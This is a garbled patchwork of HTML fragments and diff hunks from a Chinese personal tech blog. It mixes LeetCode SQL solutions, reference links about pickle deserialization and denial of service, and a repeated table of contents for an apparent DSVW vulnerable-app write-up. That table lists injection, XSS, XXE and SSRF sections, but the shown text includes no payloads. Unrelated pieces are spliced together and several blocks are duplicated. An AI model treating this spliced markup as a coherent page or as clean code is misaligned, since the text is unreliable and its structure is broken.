title="搭建本地 Gitea Actions">搭建本地 Gitea Actions</a><time datetime="2024-01-24T09:02:46.000Z" title="发表于 2024-01-24 17:02:46">2024-01-24</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/12/12/Notes/%E5%B7%A5%E4%BD%9C%E6%80%BB%E7%BB%93/" title="工作总结"><img src="https://s2.loli.net/2024/01/06/aDmdihO2fwpQ1sS.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="工作总结"/></a><div class="content"><a class="title" href="/2023/12/12/Notes/%E5%B7%A5%E4%BD%9C%E6%80%BB%E7%BB%93/" title="工作总结">工作总结</a><time datetime="2023-12-12T03:47:30.000Z" title="发表于 2023-12-12 11:47:30">2023-12-12</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/09/02/Game/FFXIV/FF14-XIVLauncher+Dalamud%20%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/" title="FF14 XIVLauncher 启动器与 Dalamud 卫月框架使用教程"><img src="https://raw.githubusercontent.com/goatcorp/FFXIVQuickLauncher/master/misc/screenshot.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="FF14 XIVLauncher 启动器与 Dalamud 卫月框架使用教程"/></a><div class="content"><a class="title" href="/2023/09/02/Game/FFXIV/FF14-XIVLauncher+Dalamud%20%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/" title="FF14 XIVLauncher 启动器与 Dalamud 卫月框架使用教程">FF14 XIVLauncher 启动器与 Dalamud 卫月框架使用教程</a><time datetime="2023-09-02T08:48:08.000Z" title="发表于 2023-09-02 16:48:08">2023-09-02</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2023/08/30/Game/FFXIV/FF14-ReShade%20%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/" title="FF14 ReShade 使用教程"><img src="https://s2.loli.net/2023/08/31/YywZPAqSUhDkbOW.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="FF14 ReShade 使用教程"/></a><div class="content"><a class="title" href="/2023/08/30/Game/FFXIV/FF14-ReShade%20%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/" title="FF14 ReShade 使用教程">FF14 ReShade 使用教程</a><time datetime="2023-08-30T14:11:14.000Z" title="发表于 2023-08-30 22:11:14">2023-08-30</time></div></div></div></div><div class="card-widget ads-wrap"><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1035234274961147" data-ad-slot="8787224657" data-ad-format="auto" data-full-width-responsive="true"></ins><script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></div></div></main><footer id="footer" style="background-image: url('https://i.loli.net/2021/06/14/CRcoAfdnJKvFNqW.jpg')"><div id="footer-wrap"><div class="copyright">&copy;2020 - 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+<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> id,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Jan&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Jan_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Feb&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Feb_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Mar&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Mar_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Apr&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Apr_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;May&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> May_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Jun&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Jun_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Jul&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Jul_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Aug&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Aug_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Sep&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Sep_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Oct&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Oct_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Nov&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Nov_Revenue,</span><br><span class="line">    <span class="built_in">SUM</span>(<span class="keyword">CASE</span> <span class="keyword">month</span> <span class="keyword">WHEN</span> <span class="string">&#x27;Dec&#x27;</span> <span class="keyword">THEN</span> revenue <span class="keyword">END</span>) <span class="keyword">AS</span> Dec_Revenue</span><br><span class="line"><span class="keyword">FROM</span> Department</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> id;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div 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@@ -230,7 +230,7 @@ <h1 id="262-Trips-and-Users"><a href="#262-Trips-and-Users" class="headerlink" t
 <h1 id="601-Human-Traffic-of-Stadium"><a href="#601-Human-Traffic-of-Stadium" class="headerlink" title="601. Human Traffic of Stadium"></a>601. Human Traffic of Stadium</h1><p>分类：数据库<br>难度：困难</p>
 <p>题目的意思不是<strong>连续三天</strong>，特指三条连续记录，所以得用 <code>id</code> 条件才能过（摊手），根据 180 的解题思路拓展，考虑到所有情况即可。</p>
 <p><code>s1 s2 s3</code> 和 <code>s1 s3 s2</code> 返回的结果是相同的，只是顺序不同，因为这三天都满足条件，因此 6 种情况只要列出三种。</p>
-<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">DISTINCT</span> s1.id, s1.visit_date, s1.people</span><br><span class="line"><span class="keyword">FROM</span> stadium s1, stadium s2, stadium s3</span><br><span class="line"><span class="keyword">WHERE</span> s1.people <span class="operator">&gt;=</span> <span class="number">100</span></span><br><span class="line">    <span class="keyword">AND</span> s2.people <span class="operator">&gt;=</span> <span class="number">100</span></span><br><span class="line">    <span class="keyword">AND</span> s3.people <span class="operator">&gt;=</span> <span class="number">100</span></span><br><span class="line">    <span class="keyword">AND</span> (</span><br><span class="line">        <span class="comment">-- s1 s2 s3</span></span><br><span class="line">        (s1.id <span class="operator">=</span> s2.id <span class="operator">-</span> <span class="number">1</span> <span class="keyword">AND</span> s1.id <span class="operator">=</span> s3.id <span class="operator">-</span> <span class="number">2</span>) <span class="keyword">OR</span></span><br><span class="line">        <span class="comment">-- s3 s1 s2</span></span><br><span class="line">        (s1.id <span class="operator">=</span> s2.id <span class="operator">-</span> <span class="number">1</span> <span class="keyword">AND</span> s1.id <span class="operator">=</span> s3.id <span class="operator">+</span> <span class="number">1</span>) <span class="keyword">OR</span></span><br><span class="line">        <span class="comment">-- s2 s3 s1</span></span><br><span class="line">        (s1.id <span class="operator">=</span> s2.id <span class="operator">+</span> <span class="number">2</span> <span class="keyword">AND</span> s1.id <span class="operator">=</span> s3.id <span class="operator">+</span> <span class="number">1</span>)</span><br><span class="line">    )</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> s1.id;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right 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+<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="keyword">DISTINCT</span> s1.id, s1.visit_date, s1.people</span><br><span class="line"><span class="keyword">FROM</span> stadium s1, stadium s2, stadium s3</span><br><span class="line"><span class="keyword">WHERE</span> s1.people <span class="operator">&gt;=</span> <span class="number">100</span></span><br><span class="line">    <span class="keyword">AND</span> s2.people <span class="operator">&gt;=</span> <span class="number">100</span></span><br><span class="line">    <span class="keyword">AND</span> s3.people <span class="operator">&gt;=</span> <span class="number">100</span></span><br><span class="line">    <span class="keyword">AND</span> (</span><br><span class="line">        <span class="comment">-- s1 s2 s3</span></span><br><span class="line">        (s1.id <span class="operator">=</span> s2.id <span class="operator">-</span> <span class="number">1</span> <span class="keyword">AND</span> s1.id <span class="operator">=</span> s3.id <span class="operator">-</span> <span class="number">2</span>) <span class="keyword">OR</span></span><br><span class="line">        <span class="comment">-- s3 s1 s2</span></span><br><span class="line">        (s1.id <span class="operator">=</span> s2.id <span class="operator">-</span> <span class="number">1</span> <span class="keyword">AND</span> s1.id <span class="operator">=</span> s3.id <span class="operator">+</span> <span class="number">1</span>) <span class="keyword">OR</span></span><br><span class="line">        <span class="comment">-- s2 s3 s1</span></span><br><span class="line">        (s1.id <span class="operator">=</span> s2.id <span class="operator">+</span> <span class="number">2</span> <span class="keyword">AND</span> s1.id <span class="operator">=</span> s3.id <span class="operator">+</span> <span class="number">1</span>)</span><br><span class="line">    )</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> s1.id;</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right 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 <p>实验环境</p>
 <ul>
 <li>VirtualBox 6.0.18</li>
@@ -416,7 +416,7 @@ <h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</
 <li><a target="_blank" rel="noopener" href="https://intoli.com/blog/dangerous-pickles/">Dangerous pickle</a></li>
 <li><a target="_blank" rel="noopener" href="https://owasp.org/www-community/attacks/Denial_of_Service">Denial of Service</a></li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2020/04/07/Security/DSVW/DSVW/">https://jckling.github.io/2020/04/07/Security/DSVW/DSVW/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's Blog</a>！</span></div></div><div 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class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%89%8D%E8%A8%80"><span class="toc-number">1.</span> <span class="toc-text">前言</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93"><span class="toc-number">1.1.</span> <span class="toc-text">数据库</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#users-%E6%95%B0%E6%8D%AE%E8%A1%A8"><span class="toc-number">1.1.1.</span> <span class="toc-text">users 数据表</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#comments-%E6%95%B0%E6%8D%AE%E8%A1%A8"><span class="toc-number">1.1.2.</span> <span class="toc-text">comments 数据表</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#XML"><span class="toc-number">1.2.</span> <span class="toc-text">XML</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E"><span class="toc-number">2.</span> <span class="toc-text">漏洞</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Blind-SQL-Injection-boolean"><span class="toc-number">2.1.</span> <span class="toc-text">Blind SQL Injection (boolean)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Blind-SQL-Injection-time"><span class="toc-number">2.2.</span> <span class="toc-text">Blind SQL Injection (time)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#UNION-SQL-Injection"><span class="toc-number">2.3.</span> <span class="toc-text">UNION SQL Injection</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Login-Bypass"><span class="toc-number">2.4.</span> <span class="toc-text">Login Bypass</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HTTP-Parameter-Pollution"><span class="toc-number">2.5.</span> <span class="toc-text">HTTP Parameter Pollution</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-reflected"><span class="toc-number">2.6.</span> <span class="toc-text">Cross Site Scripting (reflected)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-stored"><span class="toc-number">2.7.</span> <span class="toc-text">Cross Site Scripting (stored)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-DOM"><span class="toc-number">2.8.</span> <span class="toc-text">Cross Site Scripting (DOM)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-JSONP"><span class="toc-number">2.9.</span> <span class="toc-text">Cross Site Scripting (JSONP)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#XML-External-Entity-local"><span class="toc-number">2.10.</span> <span class="toc-text">XML External Entity (local)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#XML-External-Entity-remote"><span class="toc-number">2.11.</span> <span class="toc-text">XML External Entity (remote)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Server-Side-Request-Forgery"><span class="toc-number">2.12.</span> <span class="toc-text">Server Side Request Forgery</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Blind-XPath-Injection-boolean"><span class="toc-number">2.13.</span> <span class="toc-text">Blind XPath Injection (boolean)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Request-Forgery"><span class="toc-number">2.14.</span> <span class="toc-text">Cross Site Request Forgery</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Frame-Injection-phishing"><span class="toc-number">2.15.</span> <span class="toc-text">Frame Injection (phishing)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Frame-Injection-content-spoofing"><span class="toc-number">2.16.</span> <span class="toc-text">Frame Injection (content spoofing)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Clickjacking"><span class="toc-number">2.17.</span> <span class="toc-text">Clickjacking</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Unvalidated-Redirect"><span class="toc-number">2.18.</span> <span class="toc-text">Unvalidated Redirect</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Arbitrary-Code-Execution"><span class="toc-number">2.19.</span> <span class="toc-text">Arbitrary Code Execution</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Full-Path-Disclosure"><span class="toc-number">2.20.</span> <span class="toc-text">Full Path Disclosure</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Source-Code-Disclosure"><span class="toc-number">2.21.</span> <span class="toc-text">Source Code Disclosure</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Path-Traversal"><span class="toc-number">2.22.</span> <span class="toc-text">Path Traversal</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#File-Inclusion-remote"><span class="toc-number">2.23.</span> <span class="toc-text">File Inclusion (remote)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HTTP-Header-Injection-phishing"><span class="toc-number">2.24.</span> <span class="toc-text">HTTP Header Injection (phishing)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Component-with-Known-Vulnerability-pickle"><span class="toc-number">2.25.</span> <span class="toc-text">Component with Known Vulnerability (pickle)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Denial-of-Service-memory"><span class="toc-number">2.26.</span> <span class="toc-text">Denial of Service (memory)</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">3.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" 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class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%89%8D%E8%A8%80"><span class="toc-number">1.</span> <span class="toc-text">前言</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%BA%93"><span class="toc-number">1.1.</span> <span class="toc-text">数据库</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#users-%E6%95%B0%E6%8D%AE%E8%A1%A8"><span class="toc-number">1.1.1.</span> <span class="toc-text">users 数据表</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#comments-%E6%95%B0%E6%8D%AE%E8%A1%A8"><span class="toc-number">1.1.2.</span> <span class="toc-text">comments 数据表</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#XML"><span class="toc-number">1.2.</span> <span class="toc-text">XML</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%BC%8F%E6%B4%9E"><span class="toc-number">2.</span> <span class="toc-text">漏洞</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Blind-SQL-Injection-boolean"><span class="toc-number">2.1.</span> <span class="toc-text">Blind SQL Injection (boolean)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Blind-SQL-Injection-time"><span class="toc-number">2.2.</span> <span class="toc-text">Blind SQL Injection (time)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#UNION-SQL-Injection"><span class="toc-number">2.3.</span> <span class="toc-text">UNION SQL Injection</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Login-Bypass"><span class="toc-number">2.4.</span> <span class="toc-text">Login Bypass</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HTTP-Parameter-Pollution"><span class="toc-number">2.5.</span> <span class="toc-text">HTTP Parameter Pollution</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-reflected"><span class="toc-number">2.6.</span> <span class="toc-text">Cross Site Scripting (reflected)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-stored"><span class="toc-number">2.7.</span> <span class="toc-text">Cross Site Scripting (stored)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-DOM"><span class="toc-number">2.8.</span> <span class="toc-text">Cross Site Scripting (DOM)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Scripting-JSONP"><span class="toc-number">2.9.</span> <span class="toc-text">Cross Site Scripting (JSONP)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#XML-External-Entity-local"><span class="toc-number">2.10.</span> <span class="toc-text">XML External Entity (local)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#XML-External-Entity-remote"><span class="toc-number">2.11.</span> <span class="toc-text">XML External Entity (remote)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Server-Side-Request-Forgery"><span class="toc-number">2.12.</span> <span class="toc-text">Server Side Request Forgery</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Blind-XPath-Injection-boolean"><span class="toc-number">2.13.</span> <span class="toc-text">Blind XPath Injection (boolean)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Cross-Site-Request-Forgery"><span class="toc-number">2.14.</span> <span class="toc-text">Cross Site Request Forgery</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Frame-Injection-phishing"><span class="toc-number">2.15.</span> <span class="toc-text">Frame Injection (phishing)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Frame-Injection-content-spoofing"><span class="toc-number">2.16.</span> <span class="toc-text">Frame Injection (content spoofing)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Clickjacking"><span class="toc-number">2.17.</span> <span class="toc-text">Clickjacking</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Unvalidated-Redirect"><span class="toc-number">2.18.</span> <span class="toc-text">Unvalidated Redirect</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Arbitrary-Code-Execution"><span class="toc-number">2.19.</span> <span class="toc-text">Arbitrary Code Execution</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Full-Path-Disclosure"><span class="toc-number">2.20.</span> <span class="toc-text">Full Path Disclosure</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Source-Code-Disclosure"><span class="toc-number">2.21.</span> <span class="toc-text">Source Code Disclosure</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Path-Traversal"><span class="toc-number">2.22.</span> <span class="toc-text">Path Traversal</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#File-Inclusion-remote"><span class="toc-number">2.23.</span> <span class="toc-text">File Inclusion (remote)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#HTTP-Header-Injection-phishing"><span class="toc-number">2.24.</span> <span class="toc-text">HTTP Header Injection (phishing)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Component-with-Known-Vulnerability-pickle"><span class="toc-number">2.25.</span> <span class="toc-text">Component with Known Vulnerability (pickle)</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Denial-of-Service-memory"><span class="toc-number">2.26.</span> <span class="toc-text">Denial of Service (memory)</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E9%98%85"><span class="toc-number">3.</span> <span class="toc-text">参阅</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2024/02/24/Other/NVIDIA%20Omniverse%20Audio%20%E7%B3%BB%E5%88%97%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/" title="NVIDIA Omniverse Audio 系列工具使用"><img src="https://www.nvidia.cn/content/dam/en-zz/Solutions/about-nvidia/logo-and-brand/02-nvidia-logo-color-blk-500x200-4c25-p@2x.png" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'" alt="NVIDIA Omniverse Audio 系列工具使用"/></a><div class="content"><a class="title" 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src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part V (File Upload)</div></div></a></div><div><a href="/2020/04/24/Security/DVWA/6.%20SQLi/" title="DVWA Writeup Part VI (SQL Injection)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part VI (SQL Injection)</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div 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@@ -243,7 +243,7 @@ <h3 id="参阅-3"><a href="#参阅-3" class="headerlink" title="参阅"></a>参
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.explode">PHP Manual - explode</a></li>
 <li><a target="_blank" rel="noopener" href="https://www.php.net/manual/zh/function.is-numeric.php">PHP Manual - is_numeric</a></li>
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href="/2020/04/26/Security/DVWA/11.%20XSS%20Stored/" title="DVWA Writeup Part XI (XSS (Stored))"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-26</div><div class="title">DVWA Writeup Part XI (XSS (Stored))</div></div></a></div><div><a href="/2020/04/26/Security/DVWA/12.%20CSP%20Bypass/" title="DVWA Writeup Part XII (CSP Bypass)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-26</div><div class="title">DVWA Writeup Part XII (CSP Bypass)</div></div></a></div><div><a href="/2020/04/26/Security/DVWA/13.%20JavaScript/" title="DVWA Writeup Part XIII (JavaScript)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-26</div><div class="title">DVWA Writeup Part XIII (JavaScript)</div></div></a></div><div><a href="/2020/04/23/Security/DVWA/3.%20CSRF/" title="DVWA Writeup Part III (CSRF)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-23</div><div class="title">DVWA Writeup Part III (CSRF)</div></div></a></div><div><a href="/2020/04/23/Security/DVWA/4.%20File%20Inclusion/" title="DVWA Writeup Part IV (File Inclusion)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-23</div><div class="title">DVWA Writeup Part IV (File Inclusion)</div></div></a></div><div><a href="/2020/04/24/Security/DVWA/5.%20File%20Upload/" title="DVWA Writeup Part V (File Upload)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2020-04-24</div><div class="title">DVWA Writeup Part V (File Upload)</div></div></a></div><div><a href="/2020/04/24/Security/DVWA/6.%20SQLi/" title="DVWA Writeup Part VI (SQL Injection)"><img class="cover" src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt 